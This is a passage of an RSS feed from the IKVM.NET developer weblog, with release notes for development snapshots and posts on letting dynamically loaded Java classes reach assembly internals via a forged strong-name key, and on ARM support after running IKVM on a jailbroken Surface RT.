   &lt;li&gt;
      Added CodeGenOptions.DisableDynamicBinding to disable dynamic binding, instead of
      conditional compilation.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Dynamic method invocations should unwrap InvocationTargetException.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Dynamic instantiation should throw InstantiationError when trying to instantiate
      an abstract class.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Dynamic invokespecial (that isn't a new) should fail verification.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Dynamic method lookup should also look in base classes (for non-constructor
      methods).&lt;/li&gt;
   &lt;li&gt;
      Bug fix. When dynamically calling a non-constructor instance method, the receiver
      object should be of the correct type.&lt;/li&gt;
   &lt;li&gt;
      Added support for setPaint with custom Paint implementation.&lt;/li&gt;
   &lt;li&gt;
      Added support for dynamic (non-loadable type) annotations in statically compiled code.&lt;/li&gt;
   &lt;li&gt;
      Have ikvmc record inner classes even if they can't be loaded.&lt;/li&gt;
   &lt;li&gt;
      Have ikvmc record the outer class even if it is not loadable.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. If the runtime tries to load a class from an assembly with a custom assembly
      class loader, the custom assembly class loader should be called. Previously it would
      only be called if the Java class loader had been instantiated.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. We should emit miranda methods for non-abstract classes too.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Mark "missing" interface methods so that subclasses (that are compiled separately)
      know that the base class is incomplete.&lt;/li&gt;
   &lt;li&gt;
      Allow dynamic assemblies injected into assembly class loaders to be (debug dump) saved.&lt;/li&gt;
   &lt;li&gt;
      Changed the build system to automatically scan all sources files for copyright statements
      and validate that all GPL licensed files include the Classpath exception.&lt;/li&gt;
   &lt;li&gt;
      Removed resource compiler dependency from JVM.DLL build.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Custom assembly class loader was made visible to other threads while it was
      still being constructed.&lt;/li&gt;
   &lt;li&gt;
      Stop considering ACC_SUPER when linking invokespecial (unless compatibility switch
      is set). This change matches the security change in Java 7u13.&lt;/li&gt;
   &lt;li&gt;
      Improved ldc MethodType: Use nested type with class constructor to create values with
      statically know signatures (like ldc MethodHandle).&lt;/li&gt;
   &lt;li&gt;
      Improved ldc MethodType: Use caching for dynamicallly constructed MethodType values
      but retry on failure.&lt;/li&gt;
   &lt;li&gt;
      Fixed dynamic dispatch class loading exception handling to wrap non-java.lang.Error
      exceptions in NoClassDefFoundError.&lt;/li&gt;
   &lt;li&gt;
      Added support for dynamic ldc MethodHandle.&lt;/li&gt;
   &lt;li&gt;
      Added support for dynamically linking the boostrap method of an invokedynamic.&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Expose the Name and __ModuleHash for missing external Modules.&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Regression fix. The AssemblyNames returned by Module.__GetReferencedAssemblies()
      didn't have the ContentType set for windowruntime assembly references.&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Added new public API Module.__ResolveTypeSpecCustomModifiers() to
      resolve the (useless) custom modifiers that can be put on TypeSpecs.&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Added another overload of the public API Module.__GetSectionInfo()
      that returns more information about the section.&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Bug fix. The OriginalFilename in the version info resource should
      only include the filename, not the path.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-7.3.4790.zip"&gt;ikvmbin-7.3.4790.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=85333138-19c8-41a4-bc9c-f53a7030eea6"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=85333138-19c8-41a4-bc9c-f53a7030eea6</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=42729fb3-af19-4249-a9c1-88f1a82874e3</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=42729fb3-af19-4249-a9c1-88f1a82874e3</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=42729fb3-af19-4249-a9c1-88f1a82874e3</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=42729fb3-af19-4249-a9c1-88f1a82874e3</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      I finally fixed the limitation that classes dynamically loaded by an assembly class
      loader can't access the internals of the assembly.
   </p>
        <p>
      Here's a simple demonstration of the problem. Suppose you have these two classes:
   </p>
        <p>
          <code>class Other {<br />
        static {<br />
          Test.m();<br />
        }<br />
      }<br /><br />
      class Test {<br />
        public static void main(String[] args) throws Exception {<br />
          Class.forName("Other");<br />
        }<br />
        static void m() {<br />
          System.out.println("Test.m");<br />
        }<br />
      }</code>
        </p>
        <p>
      Now if you compile Test.class (without Other) into an assembly with a ClassPathAssemblyClassLoader
      and run this with IKVM.NET 7.2 you'll see something like this:
   </p>
        <div style="BACKGROUND: black; COLOR: #f0f0f0">
          <code>
            <br />
      C:\j&gt;ikvmc Test.class -classloader:ikvm.runtime.ClassPathAssemblyClassLoader<br />
      IKVM.NET Compiler version 7.2.4630.6<br />
      Copyright (C) 2002-2013 Jeroen Frijters<br />
      http://www.ikvm.net/<br /><br />
      note IKVMC0001: Found main method in class "Test"<br />
      note IKVMC0002: Output file is "Test.exe"<br /><br />
      C:\j&gt;Test<br />
      Exception in thread "main" java.lang.ExceptionInInitializerError<br />
              at cli.System.Runtime.CompilerServices.RuntimeHelpers._RunClassConstructor(Unknown
      Source)<br />
              at IKVM.Internal.TypeWrapper.RunClassInit(Unknown
      Source)<br />
              at IKVM.NativeCode.java.lang.Class.forName0(Unknown
      Source)<br />
              at java.lang.Class.forName(Class.java:287)<br />
              at Test.main(Test.java:9)<br />
      Caused by: cli.System.MethodAccessException: Test.m()<br />
              at Other.&lt;clinit&gt;(Test.java)<br /></code>
        </div>
        <p>
      The call from Other to Test fails with a <code><a href="http://msdn.microsoft.com/en-us/library/system.methodaccessexception.aspx">MethodAccessException</a></code>,
      because the dynamic assembly does not have access to the internal members of the Test.exe
      assembly.
   </p>
        <p>
      Long ago I considered fixing this by adding an <code><a href="http://msdn.microsoft.com/en-us/library/system.runtime.compilerservices.internalsvisibletoattribute.aspx">InternalsVisibleToAttribute</a></code> to
      all statically compiled assemblies that allows the runtime generated dynamic assembly
      access to its internals, but I dismissed this because it would mean that untrusted
      code could abuse this same assembly identity to access the internals of any ikvmc
      compiled assemblies.
   </p>
        <p>
          <strong>Forging a StrongNameKeyPair</strong>
        </p>
        <p>
      Yesterday I realized that I could use InternalsVisibleToAttribute without opening
      a security hole. When the IKVM runtime is running as fully trusted code, it can forge
      a StrongNameKeyPair to attach to the dynamic assemblies it generates and thereby gain
      access to the statically compiled assemblies, without giving untrusted code the same
      access.
   </p>
        <p>
      The only downside to this approach is that it relies on an implementation detail of
      the CLR (and Mono). I try to stay away from depending on implementation details, but
      in this case the gain far outways any risk.
   </p>
        <p>
          <strong>Using It From C#</strong>
        </p>
        <p>
      It also works for your C# assemblies. By adding a custom attribute, you can now
      enable dynamically loaded Java classes access to your assembly internals.
   </p>
        <p>
      Here's a C# example:
   </p>
        <code>
          <span style="COLOR: blue">using</span> System;<br /><span style="COLOR: blue">using</span> System.Runtime.CompilerServices;<br /><span style="COLOR: blue">using</span> java.lang;<br /><span style="COLOR: blue">using</span> java.lang.reflect;<br /><br />
   [<span style="COLOR: blue">assembly</span>: <span style="COLOR: #2b91af">InternalsVisibleTo</span>(<span style="COLOR: #a31515">"DemoApp-ikvm-runtime-injected,
   PublicKey=00240000048000009400000006020000002400005253413100040000010001009D674F3D63B8D7A4C428BD7388341B025C71AA61C6224CD53A12C21330A3159D300051FE2EED154FE30D70673A079E4529D0FD78113DCA771DA8B0C1EF2F77B73651D55645B0A4294F0AF9BF7078432E13D0F46F951D712C2FCF02EB15552C0FE7817FC0AED58E0984F86661BF64D882F29B619899DD264041E7D4992548EB9E"</span>)]<br /><br /><span style="COLOR: blue">interface</span><span style="COLOR: #2b91af">IFoo</span> {<br />
     <span style="COLOR: #2b91af">Program</span> Instance { <span style="COLOR: blue">get</span>;
   }<br />
   }<br /><br /><span style="COLOR: blue">class</span><span style="COLOR: #2b91af">Program</span> : <span style="COLOR: #2b91af">InvocationHandler</span> {<br />
     <span style="COLOR: blue">static</span><span style="COLOR: blue">void</span> Main()
   {<br />
       <span style="COLOR: #2b91af">Class</span> c = <span style="COLOR: blue">typeof</span>(<span style="COLOR: #2b91af">Program</span>);<br />
       <span style="COLOR: blue">var</span> cl = c.getClassLoader();<br />
       <span style="COLOR: blue">var</span> interfaces = <span style="COLOR: blue">new</span><span style="COLOR: #2b91af">Class</span>[]
   { <span style="COLOR: blue">typeof</span>(<span style="COLOR: #2b91af">IFoo</span>)
   };<br />
       <span style="COLOR: blue">var</span> handler = <span style="COLOR: blue">new</span><span style="COLOR: #2b91af">Program</span>();<br />
       <span style="COLOR: blue">var</span> proxy = (<span style="COLOR: #2b91af">IFoo</span>)<span style="COLOR: #2b91af">Proxy</span>.newProxyInstance(cl,
   interfaces, handler);<br />
       <span style="COLOR: #2b91af">Console</span>.WriteLine(proxy.Instance);<br />
     }<br />
     <span style="COLOR: blue">public</span><span style="COLOR: blue">object</span> invoke(<span style="COLOR: blue">object</span> obj, <span style="COLOR: #2b91af">Method</span> m, <span style="COLOR: blue">object</span>[]
   objarr) {<br />
       <span style="COLOR: blue">return</span><span style="COLOR: blue">this</span>;<br />
     }<br />
   }</code>
        <p>
      Here we create a Proxy for the non-public interface IFoo. This is allowed because
      of the InternalsVisibleToAttribute that gives access to an assembly named DemoApp-ikvm-runtime-injected
      with the specified public key. The name of the assembly must be the name of the current
      assembly (in this example "DemoApp") with "-ikvm-runtime-injected" appended. The public
      key is always the same. The corresponding private key does not exist.
   </p>
        <p>
          <strong>Development Snapshot</strong>
        </p>
        <p>
      Please note that this is a development snapshot, not a release or release candidate.
      So consider it untested.
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Use InternalsVisibleToAttribute to allow the runtime to dynamically inject classes
         into statically compiled assemblies. 
      </li>
          <li>
         Stop generating proxy helpers for non-public interfaces. 
      </li>
          <li>
         Added support for RadialGradientPaint in Graphics.setPaint().</li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-7.3.4772.zip">ikvmbin-7.3.4772.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=42729fb3-af19-4249-a9c1-88f1a82874e3" />
      </body>
      <title>Fixing a Long Standing Limitation</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=42729fb3-af19-4249-a9c1-88f1a82874e3</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=42729fb3-af19-4249-a9c1-88f1a82874e3</link>
      <pubDate>Fri, 25 Jan 2013 06:51:20 GMT</pubDate>
      <description>&lt;p&gt;
   I finally fixed the limitation that classes dynamically loaded by an assembly class
   loader can't access the internals of the assembly.
&lt;/p&gt;
&lt;p&gt;
   Here's a simple demonstration of the problem. Suppose you have these two classes:
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;class Other {&lt;br&gt;
   &amp;nbsp; static {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; Test.m();&lt;br&gt;
   &amp;nbsp; }&lt;br&gt;
   }&lt;br&gt;
   &lt;br&gt;
   class Test {&lt;br&gt;
   &amp;nbsp; public static void main(String[] args) throws Exception {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; Class.forName("Other");&lt;br&gt;
   &amp;nbsp; }&lt;br&gt;
   &amp;nbsp; static void m() {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println("Test.m");&lt;br&gt;
   &amp;nbsp; }&lt;br&gt;
   }&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   Now if you compile Test.class (without Other) into an assembly with a ClassPathAssemblyClassLoader
   and run this with IKVM.NET 7.2 you'll see something like this:
&lt;/p&gt;
&lt;div style="BACKGROUND: black; COLOR: #f0f0f0"&gt;&lt;code&gt;
   &lt;br&gt;
   C:\j&amp;gt;ikvmc Test.class -classloader:ikvm.runtime.ClassPathAssemblyClassLoader&lt;br&gt;
   IKVM.NET Compiler version 7.2.4630.6&lt;br&gt;
   Copyright (C) 2002-2013 Jeroen Frijters&lt;br&gt;
   http://www.ikvm.net/&lt;br&gt;
   &lt;br&gt;
   note IKVMC0001: Found main method in class "Test"&lt;br&gt;
   note IKVMC0002: Output file is "Test.exe"&lt;br&gt;
   &lt;br&gt;
   C:\j&amp;gt;Test&lt;br&gt;
   Exception in thread "main" java.lang.ExceptionInInitializerError&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at cli.System.Runtime.CompilerServices.RuntimeHelpers._RunClassConstructor(Unknown
   Source)&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at IKVM.Internal.TypeWrapper.RunClassInit(Unknown
   Source)&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at IKVM.NativeCode.java.lang.Class.forName0(Unknown
   Source)&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at java.lang.Class.forName(Class.java:287)&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at Test.main(Test.java:9)&lt;br&gt;
   Caused by: cli.System.MethodAccessException: Test.m()&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at Other.&amp;lt;clinit&amp;gt;(Test.java)&lt;br&gt;
   &lt;/code&gt;
&lt;/div&gt;
&lt;p&gt;
   The call from Other to Test fails with a &lt;code&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/system.methodaccessexception.aspx"&gt;MethodAccessException&lt;/a&gt;&lt;/code&gt;,
   because the dynamic assembly does not have access to the internal members of the Test.exe
   assembly.
&lt;/p&gt;
&lt;p&gt;
   Long ago I considered fixing this by adding an &lt;code&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/system.runtime.compilerservices.internalsvisibletoattribute.aspx"&gt;InternalsVisibleToAttribute&lt;/a&gt;&lt;/code&gt; to
   all statically compiled assemblies that allows the runtime generated dynamic assembly
   access to its internals, but I dismissed this because it would mean that untrusted
   code could abuse this same assembly identity to access the internals of any ikvmc
   compiled assemblies.
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;Forging a StrongNameKeyPair&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   Yesterday I realized that I could use InternalsVisibleToAttribute without opening
   a security hole. When the IKVM runtime is running as fully trusted code, it can forge
   a StrongNameKeyPair to attach to the dynamic assemblies it generates and thereby gain
   access to the statically compiled assemblies, without giving untrusted code the same
   access.
&lt;/p&gt;
&lt;p&gt;
   The only downside to this approach is that it relies on an implementation detail of
   the CLR (and Mono). I try to stay away from depending on implementation details, but
   in this case the gain far outways any risk.
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;Using It From C#&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   It also works&amp;nbsp;for your C# assemblies. By adding a custom attribute, you can now
   enable dynamically loaded Java classes access to your assembly internals.
&lt;/p&gt;
&lt;p&gt;
   Here's a C# example:
&lt;/p&gt;
&lt;code&gt;&lt;span style="COLOR: blue"&gt;using&lt;/span&gt; System;&lt;br&gt;
&lt;span style="COLOR: blue"&gt;using&lt;/span&gt; System.Runtime.CompilerServices;&lt;br&gt;
&lt;span style="COLOR: blue"&gt;using&lt;/span&gt; java.lang;&lt;br&gt;
&lt;span style="COLOR: blue"&gt;using&lt;/span&gt; java.lang.reflect;&lt;br&gt;
&lt;br&gt;
[&lt;span style="COLOR: blue"&gt;assembly&lt;/span&gt;: &lt;span style="COLOR: #2b91af"&gt;InternalsVisibleTo&lt;/span&gt;(&lt;span style="COLOR: #a31515"&gt;"DemoApp-ikvm-runtime-injected,
PublicKey=00240000048000009400000006020000002400005253413100040000010001009D674F3D63B8D7A4C428BD7388341B025C71AA61C6224CD53A12C21330A3159D300051FE2EED154FE30D70673A079E4529D0FD78113DCA771DA8B0C1EF2F77B73651D55645B0A4294F0AF9BF7078432E13D0F46F951D712C2FCF02EB15552C0FE7817FC0AED58E0984F86661BF64D882F29B619899DD264041E7D4992548EB9E"&lt;/span&gt;)]&lt;br&gt;
&lt;br&gt;
&lt;span style="COLOR: blue"&gt;interface&lt;/span&gt; &lt;span style="COLOR: #2b91af"&gt;IFoo&lt;/span&gt; {&lt;br&gt;
&amp;nbsp; &lt;span style="COLOR: #2b91af"&gt;Program&lt;/span&gt; Instance { &lt;span style="COLOR: blue"&gt;get&lt;/span&gt;;
}&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
&lt;span style="COLOR: blue"&gt;class&lt;/span&gt; &lt;span style="COLOR: #2b91af"&gt;Program&lt;/span&gt; : &lt;span style="COLOR: #2b91af"&gt;InvocationHandler&lt;/span&gt; {&lt;br&gt;
&amp;nbsp; &lt;span style="COLOR: blue"&gt;static&lt;/span&gt; &lt;span style="COLOR: blue"&gt;void&lt;/span&gt; Main()
{&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="COLOR: #2b91af"&gt;Class&lt;/span&gt; c = &lt;span style="COLOR: blue"&gt;typeof&lt;/span&gt;(&lt;span style="COLOR: #2b91af"&gt;Program&lt;/span&gt;);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="COLOR: blue"&gt;var&lt;/span&gt; cl = c.getClassLoader();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="COLOR: blue"&gt;var&lt;/span&gt; interfaces = &lt;span style="COLOR: blue"&gt;new&lt;/span&gt; &lt;span style="COLOR: #2b91af"&gt;Class&lt;/span&gt;[]
{ &lt;span style="COLOR: blue"&gt;typeof&lt;/span&gt;(&lt;span style="COLOR: #2b91af"&gt;IFoo&lt;/span&gt;)
};&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="COLOR: blue"&gt;var&lt;/span&gt;&amp;nbsp;handler =&amp;nbsp;&lt;span style="COLOR: blue"&gt;new&lt;/span&gt; &lt;span style="COLOR: #2b91af"&gt;Program&lt;/span&gt;();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="COLOR: blue"&gt;var&lt;/span&gt; proxy = (&lt;span style="COLOR: #2b91af"&gt;IFoo&lt;/span&gt;)&lt;span style="COLOR: #2b91af"&gt;Proxy&lt;/span&gt;.newProxyInstance(cl,
interfaces, handler);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="COLOR: #2b91af"&gt;Console&lt;/span&gt;.WriteLine(proxy.Instance);&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
&amp;nbsp; &lt;span style="COLOR: blue"&gt;public&lt;/span&gt; &lt;span style="COLOR: blue"&gt;object&lt;/span&gt; invoke(&lt;span style="COLOR: blue"&gt;object&lt;/span&gt; obj, &lt;span style="COLOR: #2b91af"&gt;Method&lt;/span&gt; m, &lt;span style="COLOR: blue"&gt;object&lt;/span&gt;[]
objarr) {&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="COLOR: blue"&gt;return&lt;/span&gt; &lt;span style="COLOR: blue"&gt;this&lt;/span&gt;;&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
}&lt;/code&gt; 
&lt;p&gt;
   Here we create a Proxy for the non-public interface IFoo. This is allowed because
   of the InternalsVisibleToAttribute that gives access to an assembly named DemoApp-ikvm-runtime-injected
   with the specified public key. The name of the assembly must be the name of the current
   assembly (in this example "DemoApp") with "-ikvm-runtime-injected" appended. The public
   key is always the same. The corresponding private key does not exist.
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;Development Snapshot&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   Please note that this is a development snapshot, not a release or release candidate.
   So consider it untested.
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Use InternalsVisibleToAttribute to allow the runtime to dynamically inject classes
      into statically compiled assemblies. 
   &lt;li&gt;
      Stop generating proxy helpers for non-public interfaces. 
   &lt;li&gt;
      Added support for RadialGradientPaint in Graphics.setPaint().&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-7.3.4772.zip"&gt;ikvmbin-7.3.4772.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=42729fb3-af19-4249-a9c1-88f1a82874e3"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=42729fb3-af19-4249-a9c1-88f1a82874e3</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=f44d069c-eb46-42f8-874f-f391d8dbce86</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=f44d069c-eb46-42f8-874f-f391d8dbce86</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=f44d069c-eb46-42f8-874f-f391d8dbce86</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=f44d069c-eb46-42f8-874f-f391d8dbce86</wfw:commentRss>
      <slash:comments>1</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      The recent <a href="http://surfsec.wordpress.com/2013/01/06/circumventing-windows-rts-code-integrity-mechanism/">Windows
      RT jailbreak</a> enabled me to run IKVM on my Surface RT. Out of curiousity I
      decided to run a part of the test suite. Only three tests failed, one because
      it relies on specific GC behavior and two because they use JVM.DLL. Previously, IKVM's
      JVM.DLL assemblies were created with ilasm, because that was the easiest way to create
      unmanaged exports at the time. However, ilasm doesn't seem to support ARM, so I added
      this support to IKVM.Reflection and wrote a simple <a href="http://ikvm.cvs.sourceforge.net/viewvc/ikvm/ikvm/tools/implib.cs?view=markup">tool</a> to
      generate unmanaged export assemblies. Of course, supporting unmanaged exports on Windows
      RT in IKVM.Reflection is not very useful, but it was an interesting exercise to learn
      a little bit about the ARM instruction set.
   </p>
        <p>
      I also did some more useful work. I finally got around to changing how ikvmc handles
      assembly references. It now works like the C# compiler and uses the IKVM.Reflection
      support for missing assemblies that I added for mcs. This means that it no longer
      automatically loads assemblies (apart from the IKVM runtime and class library assemblies)
      and you need to add explicit references for indirectly used assemblies as well. The
      downside is that this has the potential to break some builds, but the upside is that
      the compilation process is now more predictable and only loads the actually required
      assemblies, like a "real" compiler, instead of the System.Reflection heritage that
      required loading even unused dependencies.
   </p>
        <p>
      Another change is that ikvmstub jars are now officially deprecated from being used
      with ikvmc (it will still work for a while, but a warning message is issued).
   </p>
        <p>
      Finally, it is now illegal to explicitly reference a secondary assembly in a shared
      class loader group. Previously this caused a warning message, but now this is
      an error. You need to reference the primary assembly.
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Deduplicate ikvmc messages based on all parameter values, not just the first one.</li>
          <li>
         Allow ikvmc messages to be suppressed based on any number of parameter values.</li>
          <li>
         Fixed ikvmc to write fully specific -nowarn options to suppress file.</li>
          <li>
         Fixed ikvmc to handle missing types.</li>
          <li>
         Added ikvmc support for missing assemblies.</li>
          <li>
         Officially deprecated using stubs with ikvmc.</li>
          <li>
         Bug fix. Don't add duplicate methods to attribute annotation interfaces. The primary
         cause of this was attributes with virtual properties where we would add the base class
         property as well as the derived class overridden property.</li>
          <li>
         Changed build process to replace ilasm usage to generate JVM.DLL with a custom tool.</li>
          <li>
         Bug fix. Local variable analysis for finally blocks was incorrect. Fixes bug #3600788.</li>
          <li>
         Changed ikvmc to give an error message (instead of a warning) when referencing a secondary
         assembly from a shared class loader group).</li>
          <li>
         Made ikvmc EditorBrowsableAttribute construction fully symbolic, to avoid having to
         load System.dll.</li>
          <li>
         Disabled automatic assembly loading for ikvmc.</li>
          <li>
         Suppress ikvmc warnings after an error has occurred (to avoid obscuring the fact that
         compilation failed).</li>
          <li>
         IKVM.Reflection: Added UniverseOptions.ResolveMissingMembers and deprecated EnableMissingMemberResolution().</li>
          <li>
         IKVM.Reflection: Added Universe.ResolvedMissingMember event.</li>
          <li>
         IKVM.Reflection: Fixed importing of CLR types with funny names (where we'd previously
         run into bugs in CLR's Type.Name and Type.Namespace).</li>
          <li>
         IKVM.Reflection: Restructured relocation writing to pack all relocation in a page
         in the same block, as WoA apparently requires this.</li>
          <li>
         IKVM.Reflection: Implemented ARM startup stub.</li>
          <li>
         IKVM.Reflection: Implemented ARM unmanaged exports.</li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-7.3.4764.zip">ikvmbin-7.3.4764.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=f44d069c-eb46-42f8-874f-f391d8dbce86" />
      </body>
      <title>New Development Snapshot</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=f44d069c-eb46-42f8-874f-f391d8dbce86</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=f44d069c-eb46-42f8-874f-f391d8dbce86</link>
      <pubDate>Wed, 16 Jan 2013 11:24:57 GMT</pubDate>
      <description>&lt;p&gt;
   The recent &lt;a href="http://surfsec.wordpress.com/2013/01/06/circumventing-windows-rts-code-integrity-mechanism/"&gt;Windows
   RT jailbreak&lt;/a&gt; enabled me to run&amp;nbsp;IKVM on my Surface RT. Out of curiousity I
   decided to run a part of the test suite. Only&amp;nbsp;three tests failed, one because
   it relies on specific GC behavior and two because they use JVM.DLL. Previously, IKVM's
   JVM.DLL assemblies were created with ilasm, because that was the easiest way to create
   unmanaged exports at the time. However, ilasm doesn't seem to support ARM, so I added
   this support to IKVM.Reflection and wrote a simple &lt;a href="http://ikvm.cvs.sourceforge.net/viewvc/ikvm/ikvm/tools/implib.cs?view=markup"&gt;tool&lt;/a&gt; to
   generate unmanaged export assemblies. Of course, supporting unmanaged exports on Windows
   RT in IKVM.Reflection is not very useful, but it was an interesting exercise to learn
   a little bit about the ARM instruction set.
&lt;/p&gt;
&lt;p&gt;
   I also did some more useful work. I finally got around to changing how ikvmc handles
   assembly references. It now works like the C# compiler and uses the IKVM.Reflection
   support for missing assemblies that I added for mcs. This means that it no longer
   automatically loads assemblies (apart from the IKVM runtime and class library assemblies)
   and you need to add explicit references for indirectly used assemblies as well. The
   downside is that this has the potential to break some builds, but the upside is that
   the compilation process is now more predictable and only loads the actually required
   assemblies, like a "real" compiler, instead of the System.Reflection heritage that
   required loading&amp;nbsp;even unused&amp;nbsp;dependencies.
&lt;/p&gt;
&lt;p&gt;
   Another change is that ikvmstub jars are now officially deprecated from being used
   with ikvmc (it will still work for a while, but a warning message is issued).
&lt;/p&gt;
&lt;p&gt;
   Finally, it is now illegal to explicitly reference a secondary assembly in a shared
   class loader group. Previously this caused a warning message, but now&amp;nbsp;this is
   an error. You need to reference the primary assembly.
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Deduplicate ikvmc messages based on all parameter values, not just the first one.&lt;/li&gt;
   &lt;li&gt;
      Allow ikvmc messages to be suppressed based on any number of parameter values.&lt;/li&gt;
   &lt;li&gt;
      Fixed ikvmc to write fully specific -nowarn options to suppress file.&lt;/li&gt;
   &lt;li&gt;
      Fixed ikvmc to handle missing types.&lt;/li&gt;
   &lt;li&gt;
      Added ikvmc support for missing assemblies.&lt;/li&gt;
   &lt;li&gt;
      Officially deprecated using stubs with ikvmc.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Don't add duplicate methods to attribute annotation interfaces. The primary
      cause of this was attributes with virtual properties where we would add the base class
      property as well as the derived class overridden property.&lt;/li&gt;
   &lt;li&gt;
      Changed build process to replace ilasm usage to generate JVM.DLL with a custom tool.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Local variable analysis for finally blocks was incorrect. Fixes bug #3600788.&lt;/li&gt;
   &lt;li&gt;
      Changed ikvmc to give an error message (instead of a warning) when referencing a secondary
      assembly from a shared class loader group).&lt;/li&gt;
   &lt;li&gt;
      Made ikvmc EditorBrowsableAttribute construction fully symbolic, to avoid having to
      load System.dll.&lt;/li&gt;
   &lt;li&gt;
      Disabled automatic assembly loading for ikvmc.&lt;/li&gt;
   &lt;li&gt;
      Suppress ikvmc warnings after an error has occurred (to avoid obscuring the fact that
      compilation failed).&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Added UniverseOptions.ResolveMissingMembers and deprecated EnableMissingMemberResolution().&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Added Universe.ResolvedMissingMember event.&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Fixed importing of CLR types with funny names (where we'd previously
